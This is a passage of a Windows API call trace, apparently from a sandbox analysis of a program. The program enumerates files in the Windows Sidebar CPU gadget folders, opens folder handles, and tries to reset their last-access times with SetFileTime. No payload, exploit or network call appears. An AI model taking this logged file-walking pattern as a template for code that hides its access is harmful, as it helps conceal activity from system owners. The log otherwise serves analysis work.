lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ececdd, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ececdd, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb54466dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_s.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ef4e3c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ef4e3c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56a7cdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4d87, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_settings.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ef4e3c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8ef4e3c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56a7cdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x519b, dwReserved0=0x0, dwReserved1=0x0, cFileName="system.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f410fa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f410fa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56cde3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_dot.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f1af9b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f1af9b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56cde3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_h.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f1af9b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f1af9b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56cde3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_m.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f1af9b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f1af9b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56f3f9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_s.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f410fa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f410fa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb56f3f9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5a3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_settings.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f67259, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f67259, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb571a0fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4c3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad.png", cAlternateFileName="")) returned 1 [0089.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fd9676, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fd9676, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb574025c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_dot.png", cAlternateFileName="")) returned 1 [0089.957] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f8d3b8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f8d3b8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb574025c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x15f, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_h.png", cAlternateFileName="")) returned 1 [0089.957] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f8d3b8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f8d3b8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb57663bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x169, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_m.png", cAlternateFileName="")) returned 1 [0089.957] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fb3517, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fb3517, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb5ad235c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_s.png", cAlternateFileName="")) returned 1 [0089.957] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fff7d5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fff7d5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb621c6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5385, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_settings.png", cAlternateFileName="")) returned 1 [0089.957] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fff7d5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fff7d5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb621c6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5385, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_settings.png", cAlternateFileName="")) returned 0 [0089.957] GetLastError () returned 0x12 [0089.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1318868) returned 1 [0089.957] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316978) returned 1 [0089.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316870) returned 1 [0089.958] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf0f1e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9cf0f1e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb640b89c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0089.958] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf0f1e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9cf0f1e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb640b89c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0089.958] GetLastError () returned 0x12 [0089.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efc50) returned 1 [0089.959] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.959] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPU.Gadget", cAlternateFileName="")) returned 1 [0089.959] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.960] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.961] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0089.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.961] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0089.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.961] NtClose (Handle=0x180) returned 0x0 [0089.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efc50 [0089.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.962] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0089.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.962] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba48750b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba48750b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb79c415c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0089.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0089.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efc50) returned 1 [0089.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2f48 [0089.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316870 [0089.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.964] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.964] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c4b8bc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb7c4b8bc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb7c4b8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x23e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0089.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2f68 [0089.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316978 [0089.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.966] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0089.966] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ad66a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4ad66a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xba58159c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0089.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2f88 [0089.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318868 [0089.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.968] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ad66a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4ad66a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xba58159c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0089.968] GetLastError () returned 0x12 [0089.968] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0089.968] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.968] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.968] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba48750b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba48750b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb79c415c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0089.968] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.968] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.968] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.969] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0089.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.969] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0089.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.969] NtClose (Handle=0x180) returned 0x0 [0089.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efc50 [0089.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131d9e0 [0089.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131dae8 [0089.971] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0089.971] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.971] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.html", cAlternateFileName="")) returned 1 [0089.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131dbf0 [0089.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efc50) returned 1 [0089.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2fa8 [0089.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131dcf8 [0089.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.973] FindNextFileW (in: 